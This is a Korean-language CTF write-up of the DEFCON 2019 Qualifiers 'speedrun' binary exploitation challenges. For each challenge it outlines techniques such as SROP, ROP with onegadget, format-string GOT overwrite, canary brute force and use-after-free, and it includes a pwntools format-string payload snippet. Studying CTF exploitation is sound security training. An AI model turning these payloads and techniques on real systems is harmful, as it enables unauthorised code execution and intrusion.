[DEFCON 2019 Quals] speedrun (pwn)

2019-05-17

이번 defcon27에서 나왔던 speedrun에서 pwn부분만 골라서 풀어보겠습니다.

Speedrun Exploit code - github

speedrun-001

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
  1. stage 1. Write “/bin/sh\x00” in the bss area`
  2. stage 2. execve(“/bin/sh”, NULL, NULL);`
  3. get shell

SROP 문제입니다. “/bin/sh”를 read를 이용해 bss영역에 쓰고 execve를 syscall하여 shell을 획득합니다.

attack_speedrun001.py

   

 

speedrun-002

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

이번엔 ROP입니다. puts를 이용해서 puts나 read의 함수주소를 leak하고, onegadget을 이용하여 바로 exploit해줬습니다.

attack_speedrun002.py

   

 

speedrun-004

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

speedrun001과 비슷합니다. srop를 사용합니다. 257바이트까지 입력할 수있는데 1바이트 오버플로우가 나서 rbp의 하위 1바이트를 덮을 수 있습니다. fake ebp -> ret sled -> srop 순서로 공격하면됩니다. rbp의 하위 1바이트를 \x00으로 하고 ret가젯을 충분히 넣어두면 알아서 srop에 해당하는 부분(shellcode)으로 갈 것입니다.

attack_speedrun004.py

   

 

speedrun-005

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

#포맷스트링버그 #FSB

너무 멍청하게 풀어서 대회 당시에 4시간이나 삽질을 한 문제이다. printf(&buf)에서 FSB가 터지는데, printf로 출력할 때 \x00을 만나면 거기까지만 출력해준다. 그런데 여기서 멍청하게 생각을 못한게 어짜피 read로 읽어서 스택에는 데이터가 들어간다는것을 잊고있었다.(아오) 그래서 그냥 스택에 got를 적당한것(puts GOT)를 넣고 다시 FSB를 읽으켜서 GOT를 원샷가젯으로 덮어주면 간단하다. 이걸 못맞추다니;;; 근데 끝나고 풀어보려고하니까 데프콘서버쪽에 바이너리가 바뀌어서 익스가 안됨 ㅡㅡ; 서버쪽에는 puts GOT가 0x601020이던데, 뭔일인지…

참고로 FSB payload는 pwntool의 fmtstr_payload를 쓰면 빠르게 할 수 있다. 물론 이 함수가 조금 멍청해서 target_address를 payload앞에 집어넣어서 64bit환경일 경우 printf에서 \x00으로 진작에 끊겨버리므로 아래와 같은 트릭을 써서 따로 계산해주는게 낫다.

# make fsb payload
context.clear(arch = 'amd64')
fsb_payload = fmtstr_payload(30, writes={print_got:0x40069D}, numbwritten=(-64+24), write_size='byte')

# this function create stupid string. start payload null(\x00)
# null(\x00) is string end, printf is end. so addresses need to go to the payload end
# so,  numbwritten=(-64+24) is alreay payload(24) + got_address(-8*8=-64)
fsb_payload = fsb_payload[64:]			

# leak _IO_stdfile_1_lock
# stage 1. puts GOT overwrite FSB vuln function
payload = "%122$16lx" 		# start offset 6
payload += "A"*8
payload += fsb_payload
payload += ((8*24)-len(payload))*"A"	# padding 30-6 offset (target_offset - strat_offset)
payload += p64(print_got)
payload += p64(print_got + 1)
payload += p64(print_got + 2)
payload += p64(print_got + 3)
payload += p64(print_got + 4)
payload += p64(print_got + 5)
payload += p64(print_got + 6)
payload += p64(print_got + 6)
payload += p64(print_got + 7)

대략 설명하면 30오프셋부터 print_got가 나온다고보고 numbwritten은 기존 페이로드에 먼저쓰인 16+8바이트에 쓸모없는 64를 뺀 값을 넣고, byte단위의 FSB payload이므로 8개의 address를 맨뒤에 넣어준다. 중간에 중요한 fsb다음에는 30오프셋까지 패딩해주면된다.

attack_speedrun005.py    

 

speedrun-007

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

OOB라고 해야할까. 암튼 Relative write가 가능하다. 0x638을 오프셋으로하면 main함수의 ret(__libc_start_main+231)를 덮어쓸 수 있는데, 이것을 onegadget으로 덮으면 main에서 리턴하면 쉘이 따진다.

물론 확률이 낮다. libc_base + 0x4f322이므로 뒤 6자리만 잘 맞추면 쉘이 따지는데, 여기서 뒤 3자리는 알고 있으니 나머지 16진수 3자리를 맞춰주면 된다. 즉 경우의 수는 0x000~0xFFF로 4096개이다.

그런데, leak도 한번 제대로 못해봣는데… 이렇게 대충 one_gadget으로 맞추는 문제로 괜찮은건가? 게다가 speedrun이라고 문제를 내놓고 확률에 맡기는 문제라니 … 좋은 문제는 아니지만 이렇게 풀수도있다는 것을 보여주는 문제인 것같다.

attack_speedrun007.py

   

 

speedrun-008

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

그냥 실행하면 아무것도 안뜬다. 그래서 시작하자마자 엄청 답답한 문제였는데… 사실 무한루프를 도는 것이다;

그리고 문제를 잘 읽었어야했다. speedrun001을 보면 아래와 같이 적혀잇다.

For all speedrun challenges, flag is in /flag

그리고 이 문제를 strace로 돌려보면

myria@ubuntu:~/CTF/DEFCON2019/speedrun008$ strace ./speedrun-008
read(-1, 0x7ffeac0788f0, 1)             = -1 EBADF (Bad file descriptor)
read(-1, 0x7ffeac0788f0, 1)             = -1 EBADF (Bad file descriptor)
read(-1, 0x7ffeac0788f0, 1)             = -1 EBADF (Bad file descriptor)
read(-1, 0x7ffeac0788f0, 1)             = -1 EBADF (Bad file descriptor)
read(-1, 0x7ffeac0788f0, 1)             = -1 EBADF (Bad file descriptor)
...
...

망할 뭔가 계속 read 실패로 무한루프를 돈다. 그리고 서버에 접속해보면 프로그램이 정상적으로 실행되는 것을 알 수 있는데… 이게 로컬에서 안돌아가는 이유가 /flag가 없어서이다…

어우야ㅠ..

그리고 IDA에서 발견한 또 한가지…

.init_array:00000000006B6138 ; Segment type: Pure data
.init_array:00000000006B6138 ; Segment permissions: Read/Write
.init_array:00000000006B6138 ; Segment alignment 'qword' can not be represented in assembly
.init_array:00000000006B6138 _init_array     segment para public 'DATA' use64
.init_array:00000000006B6138                 assume cs:_init_array
.init_array:00000000006B6138                 ;org 6B6138h
.init_array:00000000006B6138 off_6B6138      dq offset sub_400B20    ; DATA XREF: .text:0000000000401A22↑o
.init_array:00000000006B6138                                         ; .text:0000000000401A2B↑o ...
.init_array:00000000006B6140                 dq offset init_canary
.init_array:00000000006B6148                 dq offset sub_4005A0
.init_array:00000000006B6148 _init_array     ends

.init_array에 sub_400B4D가 등록되있는데, 임의로 이름은 init_canary로 변경하였다. 이런 문제 예전에도 보았다. canary 우회방법중 하나로 Canary 루틴 노출이 유출되었을때가 있었는데… 멍청하게 또 잊어버림 ㅡㅡ;

예전에 풀었던 Canary 루틴 노출문제

어쨋든 다시 여기 문제로 돌아와서, canary를 무엇으로 설정하냐고 하면 /flag파일을 읽어서 이를 기반으로 canary를 생성한다. 물론 역연산하는것은 어렵다. 하지만 flag가 변할 일은 없으니 canary값은 항상 같다.

그럼 bruteforcing으로 canary를 구하고 그 후에는 rop를 할 뿐인 문제다.

attack_speedrun008.py

   

 

speedrun-009

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

모든 보호기법이 다 걸려있습니다. 하지만 그 만큼 문제 자체도 취약점이 많습니다. 문제를 실행하면 1, 2, 3의 선택지가 주어지는데. 1번은 BOF가 발생하고 2번은 FSB가 일어납니다.

FSB를 이용해 Canary, Libc Address, PIE addressleak할 수 있고, 이제 BOF를 이용해서 onegadget을 사용하면 쉽습니다.

attack_speedrun009.py

   

 

speedrun-010

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

마찬가지로 모든 보호기법이 다 걸려있습니다. 이번 문제의 취약점은 UAF입니다. namemsg가 모두 0x30으로 malloc되고, 값이 리셋되거나 초기화되지않기때문에 putsputsleak할 수 있고, puts자리에 system함수를 넣어서 /bin/sh를 실행시킬 수도 있다.

attack_speedrun010.py